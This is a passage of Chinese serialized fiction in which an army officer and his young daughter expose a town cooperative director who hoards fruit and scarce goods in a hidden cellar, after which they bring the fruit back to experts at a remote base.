她从包里拿出一张名片,双手递向梁哲,“但请至少收下我的名片,如果以后贵单位有适合公开报道的、关于军民团结或建设成就的事迹,欢迎通过报社联系我,我们很乐意为建设国家,弘扬正气做出努力。”
这次梁哲没有拒绝,伸手接过名片,向对方点了点头:“多谢沈同志的理解。”
沈若文又和甜甜说了几句鼓励的话,随后才转身告辞。
梁哲抱着甜甜,将名片收进上衣口袋,继续向供销社走去。
他没有注
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意到,本已离开的沈若文其实并未走远,而是站在街角,她的目光一直追随父女俩离开的背影,眼中若有所思。
梁哲抱着女儿,沿着主街又步行了五六分钟,前方出现一栋两层高的小楼,远远便能看到墙上粉刷的红漆标语:“发展经济,保障供给!”
旁边挂着一块木牌,上书五个大字:“红星供销社”
这里是镇上物资最集中,也是人流量最多的地方。长长的木制柜台横贯大厅,柜台后是顶到天花板的货架,上面分门别类地码着各种商品,粮油、布匹、柴米油盐、针头线脑。玻璃罐里装着稀缺的糖果和饼干,墙角堆着成袋的粮食和农具。
虽是下午,仍然有不少群众进进出出,在柜台里面挑选着合适的商品。
梁哲抱着甜甜走向副食品柜台。前面正围着五六个挎着竹筐的中年妇女。一名穿着蓝色工装的售货员慢条斯理地整理着货架,态度冷淡矜持,仿佛多卖一件商品都是对顾客天大的恩赐。
梁哲扫了眼柜台,先选了饼干、罐头、麦乳精等,又见角落里放着两袋奶粉,这可是当时的紧俏货,没有点门路都是买不到的。
“同志,麻烦拿一下这两袋奶粉。”
售货员眼皮一抬,声音懒洋洋的:“不好意思,这两袋已经卖了。”
“卖了?”梁哲不解,“这不是在柜台里吗?”
“在里边也没用,别人已经订好了,回头就来取。”
“那……还有剩余的奶粉吗?”
“早没有了。”
梁哲从没遇到过这种情况,内心有些遗憾,但对方既然咬定了不肯卖,他也没有办法。
他掏出钱和鸡蛋票:“那买十斤鸡蛋。”
售货员接过钱,两个指头拈了拈,鼻腔里哼了一声:“不够,差四块。”
“不是六毛钱一斤吗?”
“六**?”售货员嗤笑一声,“我看你们穿军装的是不打听市价吧?现在鸡少蛋也少,早就涨到一块一斤了。”
第18章 我爸买啥啥没货,闺女一看:仓库里可多啦
梁哲低头看了眼手里的钱,无声地叹了口气。“行,那就买十斤。”
“哟,还挺阔气。”售货员一边收钱,一边将梁哲选的麦乳精等物一并结算——果然,比之前预算的贵出三块不止。
梁哲又买了红糖和蛋糕,怀里,甜甜伸出小手指着玻璃罐里亮晶晶的水果糖:“爸爸,要这个。”
梁哲捏了捏手里所剩无几的钱,犹豫了一下,还是对售货员说:“称五分钱的糖。”
可拿到手一看,竟然只有三块。“不是一分钱一块吗?”他忍不住问道。
售货员把嘴一撇,冷冷吐出三个字:“涨价了。”
想不到时隔不久,物价竟已经涨成了这个样子?
离开基地时大家拿出的那些津贴,在这里根本买不了多少东西。
他心里又沮丧又懊悔,早知道就多带点津贴出来,也不至于来镇上一趟,没能给专家们多带些吃的回去。
原本还想买块肉,但肉一周只供一次,他根本轮不上,只好作罢。
等把东西整理好,梁哲让甜甜自己走,自己双手提着沉甸甸的两个网兜正要离开,却见门口聚着几位妇女,手里的竹筐空空如也,看样子什么都没买成。
“张婶子,我记得上个礼拜鸡蛋还卖六**,这才几天啊,咋就涨到一块了?”
“不光价涨,个数也少了,我瞧见那个当兵的买鸡蛋,一斤才称了六七个,往常最少都有八个。”
“难道这称也不准了?”
“谁知道呢。”另一名妇女用手里的花头巾扇着风,“不只鸡蛋贵,油也涨,盐也涨,就连火柴都涨到两分钱一盒了。凭啥啊!”
“二位婶子,说来也怪,自打这位铁主任上任,供销社里的东西都跟骑上老母鸡似的,咯咯哒一路往上涨,原先能买一斤的钱,现在只能买半斤,我家的粮票都快供不上了!”
“可不是咋的。”另两名妇女也不住点头。
“嘿,你们几个!”她们这一议论,有人可就不乐意听了,先前的女售货员把桌子一拍,尖着嗓子道:“爱买不买,不买走人,哪来那么多废话!”
“哟,瞧把你横的!”被称作张婶子的妇女正憋着火,当即转过身,叉着腰怼了回去,“这是人民的供销社,不是你姚桂莲家的自留地!怎么,仗着你男人是供销社主任,得了这份工作,人民群众连意见都不能提了?”
“你那是提意见吗?你那是找茬!”姚桂莲怒道:“供销社里的每一样都明码标价,买不起还想在这儿撒野?把道让开,别耽误别人买东西!”
“我买不起?”张婶子笑了,拿手指着自己,“你也不打听打听去,我张芳是有工作的,能差你那三瓜两枣?我就是看不惯你们办的事。”
“姚桂莲,我也纳闷呢,就算全国物资供应短缺,白糖也不能卖到两块钱一斤吧?”说话的是人称赵婶子的赵秀兰,她的筐里也空空如也,想来也没买到合适的东西。“我可听说了,你弟妹家有两大盒子白糖,是不是你们把公家东西倒卖出去的!”
“我呸!姓赵的你血口喷人!”姚桂莲气得从柜台后跳了起来,指着赵秀兰的鼻子骂,“就凭你们几个,也想栽赃陷害我?今天要是拿不出证据,我立马报警,让**把你们全都抓起来!”
“报警好啊!报警正好让**查查,你们这秤是不是有鬼!”
几人越吵越凶,唾沫星子横飞。张芳和赵秀兰把筐一放,撸起袖子就要凑上来,姚桂莲也不甘示弱,从柜台里抽出一把鸡毛掸子,双方剑拔**张,眼看就要动手。
梁哲心里一紧。周围人多手杂,万一冲突起来,孩子很容易被波及。他手上又拎着满满的东西,急忙喊:“甜甜,快到爸爸这儿来。”
甜甜却吸着小鼻子,向梁哲道:“爸爸,甜甜想吃大苹果。”
“大苹果?”
梁哲回过头去,生鲜柜台空荡荡的,别说苹果,连块果皮都没有。
“甜甜,这里不卖苹果。”
“有的。”甜甜翻开那本沈若文送的《常见动植物图鉴》,指着其中的几页,“甜甜认识,这里,苹果、梨、还有葡萄,都有。”
梁哲一惊,下意识又看了一眼柜台,“甜甜,你确定这里有苹果和梨?”
“有呀。”甜甜用力点头,小手指
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了指姚桂莲,“甜甜闻到香味了,可甜了,就在阿姨身上,还有……”她又指了下二楼,“在那里。”
梁哲的眼睛眯了起来。
在资源这么匮乏的镇上,他本来没指望能买到水果,但要是供销社里有,那就又不一样了。基地专家们正缺维生素,水果可是比金子都难得的东西。
而供销社的柜台上压根不卖,那就只有一种可能——这些水果,都被偷偷藏起来了。
联想到刚才离谱的物价、缺斤短两的商品,再加上几位妇女对姚桂莲的指控,一个念头电光石火般闪过梁哲的脑海。
他将手里的两个网兜在角落里放好,四下环顾,觉得哪里都不安全,最终还是把女儿抱回怀里,大步走向门口。
就这么一会功夫,形势看起来更紧张了。姚桂莲挥舞着鸡毛掸子,张芳抄起了柜台上纳的鞋底,赵秀兰则双手各攥一根毛衣针,三人呈三角之势站着,谁都不敢先动手,但谁也不甘心后退一步。
“有本事你来呀!姑奶奶怕你不成?”
“少在那放狗屁,有种别跑,等我家铁主任回来,把你们都抓了。”
“铁主任?我看是铁公**?他敢当着所有人的面对账吗?”
“凭什么给你对账,你算老几?!”
梁哲站在一旁,心里快速盘算着:若是自己先制住姚桂莲,能不能逼她说出水果的藏匿之处?只要找到一样,就能证明他们投机倒把。
他刚要有所动作,供销社门外忽然传来一个洪亮的男声:“都给我住手!
只见人群一分,一个中年男人快步走了进来,派头十足,手里提着个公文包,身后还跟着个办事员。
“干什么呢!还有没有规矩?这是供销社,不是你们撒野的地方!要闹回家闹去!”
姚桂莲一见他,立刻有了主心骨:“老铁,你可回来了,这几个老娘们要大闹供销社,太没有王法了,快报警,让**把她们抓起来!”
“抓?抓个屁!我看要先抓你!”铁介山眼睛一瞪,厉声斥道:“你一个国营售货员,就不能有点素质,跟人民群众吵什么吵!还不快点道歉!”
第19章 进城第一天,我爸就和供销社主任干上了
姚桂莲一愣,立刻梗着脖子叫道:“道歉?凭什么呀,是她们先污蔑你……”
“你给我闭嘴!”铁介山丝毫不给面子,厉声截断:“这么点格局都没有,就别在供销社上班了,马上给我回家去。”
“你——”
姚桂莲没想到自己丈夫竟然不向着她说话,正气得要撒泼打滚,忽然瞧见丈夫拼命向自己偷使眼色,她虽泼辣,却还没蠢到家,瞬间明白了丈夫的用意,硬生生把到了嘴边的话又咽了回去。
她讪讪放下手里的掸子,转头向张芳、赵秀兰尴尬一笑:“两位大姐,别和我一般见识,我们铁主任批评我了,我认识到错误了。给两位姐姐赔个不是。”说着,还真迂尊降贵向她们鞠了一躬。
张芳还想梗着脖子较真,赵秀兰却有些过意不去了,干笑两声:“哎,别这样,铁主任,您这可真是‘大义灭亲’啊!”
铁主任一脸正气,“言重了,这是我们应该做的,帮理不帮亲,谁错了,我就批评谁。”
“铁主任,那您给说道说道,现在这物价咋涨得这么厉害啊?老百姓家都快揭不开锅了。”张芳趁机追问。
“这位嫂子,你这话问到点子上了,现在国外对咱们全面封锁,粮食运不进来,生产和技术也都卡咱们脖子,又加上这几年是灾年,地里粮食收成不好,但凡有点,可不就贵嘛。”
他语气诚恳,表情也同样沉重。
“我知道大伙都不容易,可没办法啊,咱们处在大西北,人家南方北方好歹还长点粮食,咱们这,除了沙子就是大风,条件确实艰苦了点,还请大家克服克服。”
“铁主任你说的嘛,我们也不是不理解。”张芳说着,目光瞟向铁主任微微凸起的肚子。
铁介山轻咳一声,不动声色地吸了吸肚子。
“嫂子,你甭看我这样,我这是病,大夫说我肝不好,涨气,又啥都吃不上,这才把肚子涨成这样的。”
“你身为供销社主任,还能和我们一样,啥啥吃不上?”
张芳半信半疑。
“话不能这么说。”铁介山正色道:“这是国家的供销社,人民的供销社,又不是我铁介山一个人的。这里每一笔商品出入销售都有严格登记,差一分一毫都不行,组织把这么个大摊子交给我,关系到全镇老百姓的衣食住行,我不敢怠慢,更不敢有半点私心。”
“哟铁主任,您说得可真好听,那怎么把自家媳妇弄进来当售货员了?”
人群里不知谁发出一声质疑。
姚桂莲眉毛一竖,就要反唇相讥,铁介山狠狠瞪了她一眼,逼得姚桂莲闭上了嘴。
“不知是哪位同志提出来的问题,但敢于监督,这是好事!”
铁介山非但不恼,反而冲着围观人群呵呵一笑,“我爱人原本在老家照顾老娘,因为我常年扎根西北,老娘生病的时候,我都没回去尽孝。后来老娘离世了,组织考虑我这么多年孤身一人的不易,才特批把我爱人调过来,给她安排了工作,让我们在镇上安了家。要不然啊,我现在还是一人吃饱,全家不饿呢。”
这番话说得情真意切,围观的众人纷纷点头。原来铁主任为了国家建设,常年与家人分居,牺牲这么大,实在不容易。
“铁主任,先前是我误会您了,真是对不住。”赵秀兰脸上越发过意不去,主动向姚桂莲道歉,“姚大姐,刚才是我说话冲了点,您别往心里去。”
“哎,道什么歉呢,”铁介山摆了摆手,大气地说,“我们这些做干部的,就是要接受老百姓的监督,不能脱离群众。要是没人监督,真把我们惯坏了,那不成了国家的蛀虫了吗?”
“说得对!还是铁主任明事理啊!”
“就是就是,是我们错怪铁主任了!”
铁介山三言两语,就彻底扭转了局面。围观的众人纷纷附和,先前的质疑声荡然无存,取而代之的是交口不绝的称赞。
铁介山抬手压了压,做足了谦虚的姿态,正要把群众们打发走,身后一个沉稳的声音
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忽然响起道:“铁主任,打扰了。”
铁介山回头,只见身后站着一名身姿挺拔的青年军官,面容俊朗,眉宇间带着军人特有的刚毅。他怀中还抱着个粉妆玉琢的小女孩,扎着一对俏皮的羊角辫,一双黑白分明的大眼睛,模样可爱极了。
“这位同志,”他看了一下对方肩章上的两杠两星,改口道:“**,您有事吗?”
他当然知道戈壁深处驻扎着一支部队,从事着非常神秘的工作,严禁闲杂人等靠近。这些军人平常很少到镇上来,也不知今天怎么这么巧,竟然还来了个团级干部。
这职位可比他这个供销社主任高了不少,铁介山自然不敢怠慢。
梁哲声音平静:“铁主任,我是来供销社采购物资的。刚才在柜台选了些东西,只是还有一样急需的,没在柜台上看到,想来问问你。”
铁介山一听只是普通的采购物资,立刻笑道:“好说好说,咱们供销社一直都拥军优属,只要是我们这儿有的,一定优先给您安排!不知**需要什么?”
“我想要水果。”梁哲开门见山,“我们单位有几位老专家,身体亏得厉害,急需补充新鲜水果里的维生素。如果供销社还有库存,能不能按计划价格卖给我们一些?钱和粮票我都有,如果需要手续证明,我也可以回单位补办。”
“水果?”铁介山脸上的笑容僵了一秒,随后便神色自若,“**,您说笑了,咱们这偏远小镇,哪长得出水果啊?咱们供销社主要卖的是粮油布匹,农具家居,水果那是南方特产,运不过来,也没货。”
“是吗?照你这么说,供销社这么多年来,就从没卖过新鲜水果?咱们整个镇子的老百姓,也都没尝过一口水果的滋味?”
铁介山哪能把话一口咬死,急忙笑道:“那倒不至于。以前年景好的时候,省里偶尔也会调拨几车过来。可最近您也知道,全国物资都紧张,车也上不来,水果这种娇气的东西,断供都好几个月了!”
第20章 主任狂飙演技?抵不过萌娃一句话
“好几个月之前呢?各位乡亲,你们最近一次吃到新鲜水果,是什么时候?”梁哲话锋一转,目光投向围观众人。
张芳等几名妇女面面相觑,仔细回想了半天,有人才迟疑道:“哎呀,经这位同志一说,还真是好久没吃过水果了,哪怕是口苹果呢。”
“大妹子,你说笑呢吧,我家娃至少一年没见水果长啥样了。”
“可不是嘛!别说苹果、梨了,连个山楂片也没瞧见过啊。”
众人你一言我一语,越说越觉得不对劲,纷纷面露诧异:“不对啊,就算物资再缺,也不至于全镇老百姓都见不着水果的影吧?”
大伙以前一门心思扑在填饱肚子上,至于水果这种解馋的副食品,根本没空想。能不挨饿,就已是万幸。
“铁主任,我倒想起一茬事!”人群里忽然有人高声喊道,“去年过年的时候,镇长家的小姨子,可是吃过橘子的!我家小子和他家闺女一个班,这事儿还是我家小子回来说的!”“哎,你这么一提,我也记起来了!财务局的林干事住我家隔壁,我亲眼瞧见他们家倒垃圾时,垃圾桶里有葡萄皮!”
这话匣子一打开,就像给大伙按响了回忆键。越来越多的人纷纷附和,他们不是没见过水果,只是那些水果,从来都不是普通老百姓能吃到的,全进了镇上领导干部们的家门。
“这事不对劲啊!”有人反应过来,愤愤不平地嚷嚷,“合着咱们老百姓有钱也买不到,水果都成了干部们的**了?”
“都别吵!都别吵!”铁介山见苗头不对,赶紧抬手大喊着叫停,他强装镇定地安抚道,“乡亲们,你们怕是弄错了!水果本来供应就少,大伙买不着,也是正常的嘛!”
“正常?再正常,也不能**都让我们见不着影吧?这么多人在这儿,谁见过水果摆上过供销社的货架?”众人不依不饶,纷纷摇头。
“一共就没多少,当然不好买,有什么好吵的?”姚桂莲早就按捺不住,忍不住插话道。
“照你这么说,你们是承认,那些领导干部们能吃到水果,我们老百姓就只能干看着了?”张芳不愧是能和姚桂莲叫板的泼辣性子,立刻抓住话柄追问。
“乡亲们啊,这都是陈芝麻烂谷子的旧事了!”铁介山急忙把话往回拉,他擦了擦额头的汗,高声道,“大伙就别揪着不放了!这几个月确实没水果,可不能听这位**的一面之词,就怀疑我们供销社的同志啊!”
说着,他捂了捂微微凸起的肚子,故意咳嗽两声。身旁的办事员眼疾手快,立刻上前扶住他:“主任!您身子骨不好,大夫说了您不能着急上火,可得注意身体啊!”
铁介山这苦肉计演得逼真,众人顿时有些动容。先前那些质疑的声音,也小了下去。
铁介山见状,立刻趁热打铁,挤出一抹恳切的笑容:“**,您也是明事理的人。既然供销社确实没有水果,您也别为难我们了。这样吧,您留下单位地址,日后省里要是调拨来水果,我一定第一时间通知您,优先给部队留着,您看成不成?”
他态度如此诚恳,倒也打动了一些人,有人替他帮腔道:“是啊,都不容易,现在物资就这情况,多理解理解吧。”
“铁主任看着挺认真负责的,**你就别难为他了。”
梁哲将众人的议论都看在眼里,他没有任何不悦,反而点了点头,像是认可了众人的说法。
“大家说的都有道理,既然供销社确实没有水果,我也就不强求了。”
铁介山内心松了口气,忙道:“还是**您觉悟高,姚同志,快给**再拿几块糖,算我的账上,给孩子添个零嘴。”
姚桂莲撇了撇嘴,不情不愿地打开玻璃罐,先是捏出两块糖,犹豫了一下,又咬牙多拿了三块。
铁介山见状,立刻板起脸呵斥道:“姚同志!你越来越不会办事了!水果糖有什么稀罕的?去礼品区把那大白兔奶糖拿几块来!咱们再困难,也不能
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亏了保家卫国的同志!”说着,他从口袋里掏出一块钱,拍在柜台上,“这钱我出,算我给孩子买的!”
姚桂莲心里暗骂,这人爱做戏的臭毛病死不悔改,一块钱能买多少东西呢,便宜了这个臭丘八。可嘴上却不敢反驳,刚要转身去拿奶糖,梁哲却及时开口:“不必了。”
他抱着甜甜,声音一如既往地舒朗平静,“我们不收群众的一针一线,若是想买糖,我自己会付钱。”
“您这就见外了!”铁介山连忙摆手,一脸诚恳,“我们就是想表达一下拥军的心意,几块糖不值什么钱!”
“心意我领了。”梁哲淡淡颔首,目光忽然越过铁介山,落在供销社二楼一间毫不起眼的房门上,他缓缓开口,“请问铁主任,那间房,是供销社的库房吧?”
铁介山正搜肠刮肚,琢磨着怎么再拍几句马屁,猛地听到梁哲提起二楼,嘴角的笑容瞬间僵住,眼神里闪过一丝慌乱。
但他反应极快,立刻镇定下来:“算不上正经仓库,就是个堆废品的杂物间,常年锁着门呢。”
“是吗?”梁哲语气轻描淡写,却带着一丝锐利,“那为什么,会有水果的味道从里面传出来?”
“什么?”
这话一出,不光铁介山惊得打了个愣神,围观的众人也全都愣住了,面面相觑。
铁介山干笑一声:“**,您这不是说笑吗?别说里面根本没有水果,就算有,隔着楼板和房门,味道怎么可能传到楼下?您该不会是没事找事吧?”
梁哲的脸色骤然一沉,语气冷了几分:“铁介山,注意你的用词!谁给你的胆子可以随意污蔑军人?”
“我是不能随便污蔑,可您也不能空口白牙造谣吧?”铁介山梗着脖子反驳,“这哪儿来的什么水果味?您说有,证据呢?”
梁哲还没开口,甜甜在爸爸怀里,见对方一脸丑陋嘴脸,不禁皱起小眉毛,鼓起腮帮子大声道:“甜甜闻到了!就是有水果香味!”
第21章 铁主任慌了!团长抱娃步步紧逼:你敢开门吗
“你?”铁介山一愣,随即像是听到了什么天大的笑话,哈哈大笑起来,“小丫头片子才几岁?字都认不全,知道什么是水果?快别在这儿闹笑话了!”
“甜甜就是知道!”甜甜不服气地抱着怀里的画册,小手指着上面的彩色插图,奶声奶气地说,“有苹果、有梨、还有葡萄!好多好多果果!这个阿姨身上也有果果的香味!”
说着,小手指向了姚桂莲。
“真是胡说八道!”铁介山冷笑一声,一把将姚桂莲拽到身前,“我爱人身上顶多是雪花膏的味,这我认!可你说什么水果味,简直是无稽之谈!”
姚桂莲也立刻尖声附和:“就是!你这小孩怕不是鼻子不好使吧?家里大人也不知道管管,净在这儿胡说八道!”
“是不是孩子闻错了,打开二楼看看,不就一清二楚了?”梁哲丝毫不恼,目光沉稳笃定地注视着铁介山,“铁主任,既然你坚持里面没有水果,为了打消群众的疑虑,不如现在就把门打开,让大家做个见证。我想,这也是你刚才说的‘接受群众监督’的一部分,对吧?”
铁介山心里咯噔一下,那扇门怎么能开?里面藏着太多见不得人的东西,全是他用来讨好上级、走后门拉关系的紧俏物资!他脸色一沉,语气强硬起来:“小孩子家家口齿不清,闻到的说不定是别的东西,怎么能当真?楼上就是供销社的仓库,堆的都是粮食和农具,哪来的水果?您可不能听一个小娃娃随口乱说,冤枉我们国营单位啊!”
“既然你口口声声说自己是冤枉的,为什么不敢打开门?”梁哲步步紧逼,
“打开门?你说得轻巧!”铁介山眼见不妙,开始打起了官腔,“供销社的东西都是国家财产!里面还有不少重要物资,一旦丢失或者泄露,这个责任你担得起吗?”他顿了顿,话里带刺,“看在你们是地方驻军的份上,我不与你计较。要是没别的要买的,就请回吧!”
说罢,他五指向外,做了个“请”的手势。
梁哲不为所动,冷冷道:“铁主任,你身为供销社主任,理应接受上级和群众的监督。我作为部队代表,再加上在场这么多普通群众,都有权利对你提出质疑。”
铁介山的脸色瞬间变得铁青,他咬牙切齿道:“我说同志,我尊重你,叫你一声**,你还真把自己当回事,想插手我们供销社的工作?军队不能干涉地方事务的原则,你不懂吗?想看仓库也行,去上级部门开个搜查令来,我自然配合!”
“搜查令倒不必,不过,如果我现在通知镇派出所和市场管理委员会的同志过来,不知道你是否愿意配合调查?”
铁介山心里咯噔一下,彻底蒙了,他实在不明白,这穿军装的怎么和自己杠上了,市管会的人虽然平时多有打点,但众目睽睽之下,难保他们不会秉公办事。到时候,自己那些龌龊事,不就全都露馅了?
他打定主意,只要把梁哲父女撵走,立刻就把二楼的东西转移干净,给他们来个死不认账。
“我再说一遍,楼上仓库是重地,存放着公家的物资,有严格的管理规定,不能随便让人进出!”铁介山索性一硬到底,“不管你喊谁来,都不能破坏规矩!”
“破坏规矩?”梁哲冷笑一声,一股属于军人的凛冽气场瞬间散开,铁介山不由自主地后退了半步,“铁主任,你口口声声说供销社是人民的供销社,要为人民服务。可现在群众质疑物资被私藏,你却百般阻挠不让检查,这就是你说的规矩?还是说,这所谓的‘规矩’,只是你用来掩盖自己投机倒把、中饱私囊的幌子?”
“你胡说八道!”铁介山大怒,一张脸涨得通红,他指着梁哲的鼻子骂道,“我铁介山一心为公,什么时候干过投机倒把的勾当?你要是拿不出证据,就是血口喷人!”
“证据?”梁哲抬手二楼一楼
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,“只要上了二楼,自然就能找到!铁主任,你敢让我们上去看看吗?”
听到这里,张芳、赵秀兰等人也都听出了不对劲。铁介山越是百般阻拦,就越让人怀疑。
“铁主任,真的假不了,假的真不了!你就打开门,让大家看看又能怎么样?”“就是!心里没鬼,你怕什么呀!”
“放屁!”姚桂莲彻底急了,尖声骂道,“你们算什么东西?公家的仓库也是你们能随便看的?今天张三看,明天李四看,供销社还开不开了?”
“你这话说得就不对了!”张芳立刻怼了回去,“我们又不是天天来查!就这回水果的事疑点这么多,让我们看一眼又怎么了?”
“就是。”
“请**来!请市管会的同志来!”
响应的人越来越多,众人积蓄已久的不满渐渐点燃。先前被铁介山话语迷惑的群众也醒悟过来,纷纷高声附和。
铁介山气得额角冒汗,“我看你们是想**!来人啊,把这个带头的给我轰出去!”
供销社还有不少男职工,听到主任命令,互相看了看,犹豫着撸起袖子上前,要把梁哲父女围起来。
梁哲丝毫不惧,就算怀中抱着个小女孩,依然神情冷峻镇定,“铁介山,你想清楚了,真要和我动手吗?”
他眼神锐利,周身散发出的凛然正气,那些男职工竟然没一个敢率先上前。
“上啊!都愣着干什么!给我上啊!”铁介山气急败坏的嘶吼。
周围的群众纷纷指指点点,议论声越来越大:“铁主任,你这是要干什么?想对军人同志动手吗?太过分了!”
“人家的要求合情合理,你怎么那么心虚啊!”
难看至极。他向身后的办事员使了个眼色,办事员刚要上前帮忙,梁哲却侧过头去,冷冷地瞥了他一眼。
那目光如刀锋般锐利,带着慑人的寒意,办事员浑身一颤,竟吓得不敢挪步。
第22章 太燃了!当众打脸,揭穿仓库黑幕!
梁哲不再理会跳脚的铁介山,他从口袋里掏出证件,亮给众人看:“我是部队派驻当地协助建设的军官,维护地方秩序、打击违法犯罪,也是我的职责。现在我怀疑铁介山利用供销社主任的职务之便,私藏紧缺物资、哄抬物价、投机倒把,损害群众和国家利益。我要求,立刻对二楼仓库进行检查!麻烦几位乡亲,跟我一起上去看看!”
众人纷纷响应,群情振奋。姚桂莲尖叫一声,张开双臂拦在楼梯口:“你们敢!还有没有王法了!老铁,快报警!快报警啊!”
铁介山额头冒出冷汗,他哪敢真报警?可眼下这局面,又根本拦不住梁哲。
他把心一横,索性破罐子破摔,使出最后的**锏:“行!我让你们看!不过丑话说在前头,要是仓库里什么都没有,你们怎么说?”
“不会的。”甜甜听懂了话里的意思,稚嫩的童音认真开口,“叔叔坏,把苹果藏起来不给吃,欺负人。”
“小兔崽子你胡说什么呢!”姚桂莲气得跳脚,冲上去就要拿指甲抓甜甜的小脸蛋。
梁哲眼疾手快,闪电般出手,一把钳住她的手腕。姚桂莲疼得龇牙咧嘴,奋力挣扎,可梁哲的手就像铁箍一般,纹丝不动。
“放开我!你这个浑蛋!”姚桂莲杀猪般尖叫。
“再动一下试试!”
梁哲猛地沉下脸,用力一甩,姚桂莲身不由已后退数步,后背一下撞在柜台上,好悬没把玻璃柜台撞碎。
“**啦!当兵的要**啦!”姚桂莲撒泼打滚的哭喊,冲着铁介山大叫,“你是**啊,这当兵的打你老婆了!”
铁介山赶紧借题发挥,指着梁哲吼道:“亏你还是个中校!光天化日之下**!我要去军区告你!治你个欺压百姓的罪!还要让你赔偿我们家的精神损失费和名誉费!”
梁哲眼中闪过一丝寒光,那是属于军人在战场上的杀伐冷意。他冷冷道:“如果打开仓库没有水果,我自愿去派出所接受处理。但若是真搜出了私藏的物资,铁主任,你又该当何罪?”
“我?我清清白白,这些事压根不可能发生。反倒是你今天当着这么多乡亲的面,毁我声誉,干扰经营,诬蔑干部!这事儿,咱们可没完!你必须承担一切后果!”
“行了吧铁主任!”张芳冷笑一声,一语道破天机,“你还是先想想,怎么跟大伙解释清楚仓库里的东西吧!赶紧开门,让我们瞧瞧里面到底藏了什么猫腻!”
铁介山咽了口唾沫,箭在弦上,不得不发。他咬了咬牙,冲人群里喊:“库管员!二楼仓库的钥匙呢?”
库管员迟疑地站出来:“主任,大库的钥匙我有。但您说的那间小库……钥匙不一直放在您和姚姐手上吗?”
“我没有钥匙!”姚桂莲索性往地上一坐,拍着大腿嚎啕大哭,“没天理了!这是要逼死我们啊!还有没有领导替我们做主啊!想抢钥匙,没门!”
“铁介山,姚桂莲,事到如今,你们以为拖延就能解决问题吗?”梁哲声音冰冷。
铁介山无可奈何,向姚桂莲努了下嘴:“给他。”
“我不!”姚桂莲哭喊道。
“给他!”铁介山厉声喝道,几乎是从牙缝里喷出来的。
姚桂莲实在没有办法,只好磨磨蹭蹭地从裤腰带上解下一串钥匙,狠狠扔在地上。众人见她这副模样,心里越发雪亮——这两口子要是没鬼,就怪了!
梁哲弯腰捡起钥匙,张芳、赵秀兰和几个年轻力壮的小伙子立刻站出来,要跟着一起上楼。铁介山强撑着酸软的腿,跟在后面,心里还存着一丝侥幸——说不定,那密室藏得够深,他们找不到。
二楼的小仓库门被打开,众人一拥而入。只见里面果然堆放着一些粮食、农具和衣料布匹,乍一看去,确实没什么异样。只有墙角,放着几只上了锁的木箱子。
“诶?这是怎么回事?”张芳等人面面相觑,看向梁哲的眼神里,多了几分怀疑,“同志,难不成……真的弄错了?”
铁介山紧绷的脸上,终于闪过一丝得意的狞笑:“各位都看见了吧?里面根本没有什么水果!这回,你们还有什么话说?”
甜甜伸出小手,搂住梁哲的脖子,凑到他耳边,小声嘟囔道:“爸爸,果果在木箱子后面……有洞洞。”
梁哲眸光一闪,他抬手,指向那几只木箱子,沉声道:“把箱子挪开。”
几名年轻小伙子立刻应了一声,上前合力去挪箱子。铁介山的脸色瞬间变得惨白,他失声大叫:“别动!不准动!”
他刚想冲上去阻拦,却被张芳等人死死拦住。众人七手八脚地将箱子挪开,只见墙角的地面上,赫然露出一个黑漆漆的窖口!
有人壮着胆子,伸手拉开窖口的盖板。一股浓郁鲜甜的水果香气,瞬间扑面而来,溢满了整个房间。
“扑通”一声,铁介山双腿一软,重重跌坐在地上,面如死灰。
众**喜过望,纷纷围了上去。有人
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跳下去一探究竟,只见这地窖竟与楼下相通,里面被隔出了一间隐秘的密室。密室里,密密麻麻堆满了高档烟酒、成箱的白糖和奶粉。旁边的竹筐里,赫然装着红彤彤的苹果、黄澄澄的鸭梨,甚至还有几串用柔软干草仔细垫着的紫葡萄!颗颗饱满新鲜,显然是刚藏进来没多久。
“铁介山!你还有什么好说的!”张芳怒不可遏,第一个冲上去指着他的鼻子骂。
人群彻底沸腾了!怒骂声、谴责声、要求严惩的怒吼声此起彼伏,几乎要掀翻供销社的屋顶。铁介山瘫在地上,浑身筛糠般发抖,一句话也说不出来。姚桂莲更是吓得魂飞魄散,捂着脸呜呜大哭,软成了一滩烂泥。
有腿脚快的群众,早已飞奔着去联系**和市场管理委员会。没过多久,身着制服的**干部和市管会工作人员便急匆匆赶到现场,将铁介山和姚桂莲当场带走调查。
后经查实,铁介山利用职权,长期囤货居奇、倒卖计划物资、中饱私囊、****,无一不证据确凿。此案还牵连出多名镇上干部,也纷纷因此**,受到了党纪国法的应有惩处,算是还了镇上百姓一个公道。
供销社里被私藏的水果和其他紧缺物资,被全部清点出来。水果这类保质期短的商品,一律按计划价格上架销售。梁哲找到负责的领导,说明基地老专家们的困境。在征得现场群众的理解后,梁哲倾尽身上所有的钱,买下了大部分水果。不够的钱他打了欠条,承诺回到基地后,立刻派人把钱送来。
有热心的群众主动帮梁哲拎着东西,一路护送父女二人去往镇上的医院。
人还没走到钱教授住院的病房门口,消息就已经传开了。宋大壮、孙军医等人纷纷迎了上来,看到梁哲手里提着的苹果、鸭梨和葡萄,全都惊得瞪大了眼睛,几乎不敢置信。
“我的天……”宋大壮激动的嗓门都变了调。“梁团!你也太神了!居然连水果都能搞回来?”
“别废话了!”梁哲顾不上解释,直接将手里的水果递过去,“快给钱老先洗个苹果,再给他留几样水果。其余的,我得连夜送回基地!”
宋大壮重重点头:“梁团放心!战士们留下守着医院,我跟你一起护送这批水果回去!一定安全送到专家们手上!”
孙军医看着那新鲜饱满的水果,眼眶瞬间湿润了。他声音哽咽,激动地说道:“有了这些水果,至少能让咱们的老专家们,再坚持一阵子了!”
第23章 警惕!望远镜后的眼睛
事不宜迟,趁着天还没黑,司机小王迅速将吉普车开到门口。众人七手八脚地将营养品和水果搬上车,随即向基地疾驰而去。
车厢里气氛热烈,大家心情大好。没想到来镇上这一趟,不仅钱教授得到了及时救治,还意外收获了如此珍贵的补给。
宋大壮乐得合不拢嘴,把甜甜夸了一遍又一遍,指天发誓,自己以后也要生个像甜甜这样机灵可爱的小闺女,要不然他得后悔终生。
吉普车在变得坚实平稳的沙石路上飞驰,比来时更快更稳。刚抵达基地大门,梁哲和宋大壮便迫不及待跳下车,提着东西就往营区里冲。正在巡逻的战士看到他们火急火燎的样子,不由停下脚步。等目光落到他们手中提着的红苹果和黄鸭梨时,全都愣住了。
“宋副团,这……这是……”
“水果!没见过啊?快让开!”宋大壮头也不回地嚷了一句,脚下跑得更快了。
战士们面面相觑,脸上写满了难以置信。
“班长……快,掐我一下,我不是在做梦吧?沙漠里……水果?”
